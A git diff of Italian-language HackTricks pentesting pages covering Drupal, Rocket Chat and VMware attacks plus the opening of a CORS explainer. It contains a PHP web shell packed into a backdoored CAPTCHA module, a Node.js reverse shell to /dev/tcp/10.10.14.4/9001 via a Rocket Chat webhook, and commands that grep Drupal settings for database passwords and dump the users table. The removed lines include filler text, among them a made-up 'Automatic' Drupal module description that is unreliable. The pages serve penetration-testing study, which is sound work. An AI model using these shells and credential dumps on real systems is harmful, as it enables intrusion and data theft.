Accedendo a _/user/\<number>_ puoi vedere il numero di utenti esistenti, in questo caso sono 2 poiché _/users/3_ restituisce un errore non trovato:
|
||||
|
||||
![](<../../.gitbook/assets/image (257).png>)
|
||||
![](<../../.gitbook/assets/image (330).png>)
|
||||
|
||||
![](<../../.gitbook/assets/image (227) (1) (1).png>)
|
||||
![](<../../.gitbook/assets/image (227) (1) (1) (1).png>)
|
||||
|
||||
### Pagine nascoste
|
||||
|
||||
**Fuzz `/node/$` dove `$` è un numero** (da 1 a 500 ad esempio).\
|
||||
Potresti trovare **pagine nascoste** (test, dev) che non sono indicizzate dai motori di ricerca.
|
||||
**Fuzz `/node/$` dove `$` è un numero** (da 1 a 500 per esempio).\
|
||||
Potresti trovare **pagine nascoste** (test, dev) che non sono referenziate dai motori di ricerca.
|
||||
|
||||
#### Informazioni sui moduli installati
|
||||
```bash
|
||||
|
@ -85,70 +90,60 @@ curl https://example.com/core/core.services.yml
|
|||
# Download content from files exposed in the previous step
|
||||
curl https://example.com/config/sync/swiftmailer.transport.yml
|
||||
```
|
||||
### Automatic
|
||||
|
||||
### Automatico
|
||||
|
||||
Drupal provides a module called "Automatic" that allows users to automatically perform certain tasks on their website. This module can be used to schedule tasks such as publishing content, sending emails, and executing custom scripts.
|
||||
|
||||
To use the Automatic module, you need to enable it in the Drupal administration panel. Once enabled, you can configure the tasks you want to automate by creating rules. These rules define the conditions that trigger the task and the actions that should be performed.
|
||||
|
||||
For example, you can create a rule that publishes a specific piece of content at a certain date and time. You can also create rules to send email notifications to users when certain events occur on the website.
|
||||
|
||||
It's important to note that the Automatic module can be a powerful tool, but it can also introduce security risks if not properly configured. Attackers can exploit misconfigured rules to gain unauthorized access to the website or perform malicious actions.
|
||||
|
||||
To mitigate these risks, it's recommended to follow best practices when configuring the Automatic module. This includes regularly reviewing and updating the rules, restricting access to the module to trusted users only, and monitoring the module for any suspicious activity.
|
||||
|
||||
By understanding how the Automatic module works and implementing proper security measures, you can leverage its automation capabilities while keeping your Drupal website secure.
|
||||
```bash
|
||||
droopescan scan drupal -u http://drupal-site.local
|
||||
```
|
||||
## RCE
|
||||
|
||||
### Con il modulo PHP Filter
|
||||
### Con il modulo Filtro PHP
|
||||
|
||||
{% hint style="warning" %}
|
||||
Nelle versioni più vecchie di Drupal **(prima della versione 8)**, era possibile accedere come amministratore e **abilitare il modulo `PHP filter`**, che "Consente di valutare codice/frammenti PHP incorporati".
|
||||
Nelle versioni precedenti di Drupal **(prima della versione 8)**, era possibile accedere come amministratore e **abilitare il modulo `Filtro PHP`**, che "Consente di valutare codice/frammenti PHP incorporati."
|
||||
{% endhint %}
|
||||
|
||||
È necessario che il **plugin php sia installato** (verificarlo accedendo a _/modules/php_ e se restituisce un **403**, allora **esiste**, se **non trovato**, allora il **plugin php non è installato**)
|
||||
È necessario che il **plugin php sia installato** (verifica accedendo a _/modules/php_ e se restituisce un **403** allora, **esiste**, se **non trovato**, allora il **plugin php non è installato**)
|
||||
|
||||
Vai su _Moduli_ -> (**Verifica**) _PHP Filter_ -> _Salva configurazione_
|
||||
Vai su _Moduli_ -> (**Controlla**) _Filtro PHP_ -> _Salva configurazione_
|
||||
|
||||
![](<../../.gitbook/assets/image (247) (1).png>)
|
||||
|
||||
Quindi clicca su _Aggiungi contenuto_ -> Seleziona _Pagina di base_ o _Articolo_ -> Scrivi _shellcode php nel corpo_ -> Seleziona _Codice PHP_ nel formato di testo -> Seleziona _Anteprima_
|
||||
Poi clicca su _Aggiungi contenuto_ -> Seleziona _Pagina di base_ o _Articolo_ -> Scrivi _shellcode php nel corpo_ -> Seleziona _Codice PHP_ nel _Formato testo_ -> Seleziona _Anteprima_
|
||||
|
||||
![](<../../.gitbook/assets/image (253) (1).png>)
|
||||
![](<../../.gitbook/assets/image (335).png>)
|
||||
|
||||
Infine, accedi al nodo appena creato:
|
||||
Infine accedi al nodo appena creato:
|
||||
```bash
|
||||
curl http://drupal-site.local/node/3
|
||||
```
|
||||
### Installa il modulo PHP Filter
|
||||
|
||||
A partire dalla versione **8 in poi, il** [**modulo PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **non viene installato di default**. Per sfruttare questa funzionalità, dovremmo **installare il modulo manualmente**.
|
||||
Dalla versione **8 in poi, il** [**modulo PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **non è installato per impostazione predefinita**. Per sfruttare questa funzionalità, dovremmo **installare il modulo noi stessi**.
|
||||
|
||||
1. Scarica la versione più recente del modulo dal sito di Drupal.
|
||||
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
|
||||
2. Una volta scaricato, vai su **`Amministrazione`** > **`Report`** > **`Aggiornamenti disponibili`**.
|
||||
3. Clicca su **`Sfoglia`**`,` seleziona il file dalla directory in cui lo hai scaricato, e poi clicca su **`Installa`**.
|
||||
4. Una volta installato il modulo, puoi cliccare su **`Contenuto`** e **creare una nuova pagina di base**, come abbiamo fatto nell'esempio di Drupal 7. Assicurati di **selezionare `Codice PHP` dal menu a tendina `Formato testo`**.
|
||||
1. Scarica la versione più recente del modulo dal sito web di Drupal.
|
||||
2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
|
||||
3. Una volta scaricato, vai a **`Amministrazione`** > **`Rapporti`** > **`Aggiornamenti disponibili`**.
|
||||
4. Fai clic su **`Sfoglia`**, seleziona il file dalla directory in cui lo abbiamo scaricato e poi fai clic su **`Installa`**.
|
||||
5. Una volta installato il modulo, possiamo fare clic su **`Contenuto`** e **creare una nuova pagina di base**, simile a quanto fatto nell'esempio di Drupal 7. Assicurati nuovamente di **selezionare `Codice PHP` dal menu a discesa `Formato testo`**.
|
||||
|
||||
### Modulo con backdoor
|
||||
### Modulo con Backdoor
|
||||
|
||||
Un modulo con backdoor può essere creato **aggiungendo una shell a un modulo esistente**. I moduli possono essere trovati sul sito drupal.org. Scegliamo un modulo come [CAPTCHA](https://www.drupal.org/project/captcha). Scorri verso il basso e copia il link per l'archivio tar.gz [archive](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
|
||||
Un modulo con backdoor può essere creato **aggiungendo una shell a un modulo esistente**. I moduli possono essere trovati sul sito drupal.org. Scegliamo un modulo come [CAPTCHA](https://www.drupal.org/project/captcha). Scorri verso il basso e copia il link per l'**archivio tar.gz** [qui](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
|
||||
|
||||
* Scarica l'archivio ed estrai i suoi contenuti.
|
||||
* Scarica l'archivio ed estraine i contenuti.
|
||||
```
|
||||
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
|
||||
tar xvf captcha-8.x-1.2.tar.gz
|
||||
```
|
||||
* Creare una **web shell PHP** con il seguente contenuto:
|
||||
* Crea una **shell web PHP** con i seguenti contenuti:
|
||||
```php
|
||||
<?php
|
||||
system($_GET["cmd"]);
|
||||
?>
|
||||
```
|
||||
* Successivamente, dobbiamo creare un file **`.htaccess`** per ottenere l'accesso alla cartella. Questo è necessario poiché Drupal nega l'accesso diretto alla cartella **`/modules`**.
|
||||
* Successivamente, dobbiamo creare un file **`.htaccess`** per darci accesso alla cartella. Questo è necessario poiché Drupal nega l'accesso diretto alla cartella **`/modules`**.
|
||||
```html
|
||||
<IfModule mod_rewrite.c>
|
||||
RewriteEngine On
|
||||
|
@ -160,8 +155,8 @@ RewriteBase /
|
|||
mv shell.php .htaccess captcha
|
||||
tar cvf captcha.tar.gz captcha/
|
||||
```
|
||||
* Supponendo di avere **accesso amministrativo** al sito web, fare clic su **`Gestisci`** e quindi su **`Estendi`** nella barra laterale. Successivamente, fare clic sul pulsante **`+ Installa nuovo modulo`**, e saremo portati alla pagina di installazione, come ad esempio `http://drupal-site.local/admin/modules/install`. Sfogliare l'archivio Captcha con backdoor e fare clic su **`Installa`**.
|
||||
* Una volta completata l'installazione, sfogliare **`/modules/captcha/shell.php`** per eseguire comandi.
|
||||
* Presumendo di avere **accesso amministrativo** al sito web, fare clic su **`Gestisci`** e poi su **`Estendi`** nella barra laterale. Successivamente, fare clic sul pulsante **`+ Installa nuovo modulo`**, e saremo portati alla pagina di installazione, come ad esempio `http://drupal-site.local/admin/modules/install`. Navigare nell'archivio Captcha backdoored e fare clic su **`Installa`**.
|
||||
* Una volta completata l'installazione, navigare a **`/modules/captcha/shell.php`** per eseguire comandi.
|
||||
|
||||
## Post Esploitation
|
||||
|
||||
|
@ -170,18 +165,6 @@ tar cvf captcha.tar.gz captcha/
|
|||
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
|
||||
```
|
||||
### Estrarre gli utenti dal database
|
||||
|
||||
To dump users from the database, you can use the following steps:
|
||||
|
||||
1. Identify the database management system (DBMS) being used by the Drupal application. This information can usually be found in the Drupal configuration files or by querying the database directly.
|
||||
|
||||
2. Once you have identified the DBMS, use the appropriate tools or commands to connect to the database. For example, if the DBMS is MySQL, you can use the `mysql` command-line tool.
|
||||
|
||||
3. Once connected to the database, execute a query to retrieve the user information. The exact query will depend on the database schema used by Drupal, but it typically involves selecting the relevant columns from the `users` table.
|
||||
|
||||
4. Save the results of the query to a file or analyze them directly. This will provide you with the necessary information about the users in the Drupal application's database.
|
||||
|
||||
By following these steps, you can successfully dump the users from the Drupal database.
|
||||
```
|
||||
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
|
||||
```
|
||||
|
@ -189,16 +172,21 @@ mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from
|
|||
|
||||
* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,58 +2,68 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## RCE
|
||||
|
||||
Se sei un amministratore all'interno di Rocket Chat, puoi ottenere RCE.
|
||||
Se sei un amministratore all'interno di Rocket Chat puoi ottenere RCE.
|
||||
|
||||
* Vai a **`Integrations`** e seleziona **`Nuova integrazione`** e scegli una qualsiasi: **`Incoming WebHook`** o **`Outgoing WebHook`**.
|
||||
* Vai su **`Integrations`** e seleziona **`Nuova integrazione`** e scegli tra: **`Incoming WebHook`** o **`Outgoing WebHook`**.
|
||||
* `/admin/integrations/incoming`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (4) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (263).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* Secondo la [documentazione](https://docs.rocket.chat/guides/administration/admin-panel/integrations), entrambi utilizzano ES2015 / ECMAScript 6 ([basically JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) per elaborare i dati. Quindi otteniamo una [shell inversa per javascript](../../generic-methodologies-and-resources/shells/linux.md#nodejs) come:
|
||||
* Secondo la [documentazione](https://docs.rocket.chat/guides/administration/admin-panel/integrations), entrambi utilizzano ES2015 / ECMAScript 6 ([fondamentalmente JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) per elaborare i dati. Quindi otteniamo una [shell inversa per javascript](../../generic-methodologies-and-resources/shells/linux.md#nodejs) come:
|
||||
```javascript
|
||||
const require = console.log.constructor('return process.mainModule.require')();
|
||||
const { exec } = require('child_process');
|
||||
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
|
||||
```
|
||||
* Configura il WebHook (il canale e il nome utente del post devono esistere):
|
||||
* Configura il WebHook (il canale e il post come nome utente devono esistere):
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (8).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (902).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* Configura lo script del WebHook:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (569).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* Salva le modifiche
|
||||
* Ottieni l'URL del WebHook generato:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (934).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* Chiamalo con curl e dovresti ricevere la reverse shell
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,48 +1,48 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
# Enumerazione
|
||||
```text
|
||||
```bash
|
||||
nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP>
|
||||
msf> use auxiliary/scanner/vmware/esx_fingerprint
|
||||
msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
|
||||
```
|
||||
# Bruteforce
|
||||
|
||||
Il bruteforce è una tecnica di attacco che consiste nel tentare tutte le possibili combinazioni di password fino a trovare quella corretta. Questo tipo di attacco è molto laborioso e richiede tempo, ma può essere efficace se la password è debole o prevedibile.
|
||||
|
||||
Esistono diversi strumenti e script disponibili per automatizzare il processo di bruteforce. Questi strumenti possono essere utilizzati per attaccare servizi come SSH, FTP, Telnet e altri.
|
||||
|
||||
È importante notare che il bruteforce è un'attività illegale e può comportare conseguenze legali. Pertanto, è fondamentale ottenere l'autorizzazione del proprietario del sistema prima di eseguire un attacco di bruteforce.
|
||||
```text
|
||||
```bash
|
||||
msf> auxiliary/scanner/vmware/vmware_http_login
|
||||
```
|
||||
Se trovi credenziali valide, puoi utilizzare ulteriori moduli di scansione di Metasploit per ottenere informazioni.
|
||||
Se trovi credenziali valide, puoi utilizzare ulteriori moduli scanner di metasploit per ottenere informazioni.
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub.
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,11 +2,11 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,30 +14,34 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Cos'è CORS?
|
||||
|
||||
Lo standard Cross-Origin Resource Sharing (CORS) **consente ai server di definire chi può accedere alle loro risorse** e **quali metodi di richiesta HTTP sono consentiti** da fonti esterne.
|
||||
|
||||
Una politica **stesso-origine** impone che un **server che richiede** una risorsa e il server che **ospita la risorsa** condividano lo stesso protocollo (ad esempio, `http://`), nome di dominio (ad esempio, `internal-web.com`), e **porta** (ad esempio, 80). In base a questa politica, solo le pagine web dello stesso dominio e porta sono autorizzate ad accedere alle risorse.
|
||||
Una politica **stesso-origine** impone che un **server che richiede** una risorsa e il server che ospita la **risorsa** condividano lo stesso protocollo (ad esempio, `http://`), nome di dominio (ad esempio, `internal-web.com`), e **porta** (ad esempio, 80). In base a questa politica, solo le pagine web dello stesso dominio e porta sono autorizzate ad accedere alle risorse.
|
||||
|
||||
L'applicazione della politica stesso-origine nel contesto di `http://normal-website.com/example/example.html` è illustrata come segue:
|
||||
|
||||
| URL accessato | Accesso consentito? |
|
||||
| ----------------------------------------- | --------------------------------------- |
|
||||
| `http://normal-website.com/example/` | Sì: Schema, dominio e porta identici |
|
||||
| `http://normal-website.com/example2/` | Sì: Schema, dominio e porta identici |
|
||||
| `https://normal-website.com/example/` | No: Schema e porta diversi |
|
||||
| `http://en.normal-website.com/example/` | No: Dominio diverso |
|
||||
| `http://www.normal-website.com/example/` | No: Dominio diverso |
|
||||
| `http://normal-website.com:8080/example/` | No: Porta diversa\* |
|
||||
| ---------------------------------------- | -------------------------------------- |
|
||||
| `http://normal-website.com/example/` | Sì: Schema, dominio e porta identici |
|
||||
| `http://normal-website.com/example2/` | Sì: Schema, dominio e porta identici |
|
||||
| `https://normal-website.com/example/` | No: Schema e porta diversi |
|
||||
| `http://en.normal-website.com/example/` | No: Dominio diverso |
|
||||
| `http://www.normal-website.com/example/` | No: Dominio diverso |
|
||||
| `http://normal-website.com:8080/example/`| No: Porta diversa\* |
|
||||
|
||||
\*Internet Explorer non considera il numero di porta nell'applicare la politica stesso-origine, consentendo così questo accesso.
|
||||
|
||||
### Intestazione `Access-Control-Allow-Origin`
|
||||
|
||||
Questa intestazione può consentire **origini multiple**, un valore **`null`**, o un jolly **`*`**. Tuttavia, **nessun browser supporta origini multiple**, e l'uso del jolly `*` è soggetto a **limitazioni**. (Il jolly deve essere usato da solo, e non è consentito il suo utilizzo insieme a `Access-Control-Allow-Credentials: true`.)
|
||||
Questa intestazione può consentire **origini multiple**, un valore **`null`**, o un carattere jolly **`*`**. Tuttavia, **nessun browser supporta origini multiple**, e l'uso del carattere jolly `*` è soggetto a **limitazioni**. (Il carattere jolly deve essere usato da solo, e non è consentito il suo utilizzo insieme a `Access-Control-Allow-Credentials: true`.)
|
||||
|
||||
Questa intestazione è **emessa da un server** in risposta a una richiesta di risorsa tra domini iniziata da un sito web, con il browser che aggiunge automaticamente un'intestazione `Origin`.
|
||||
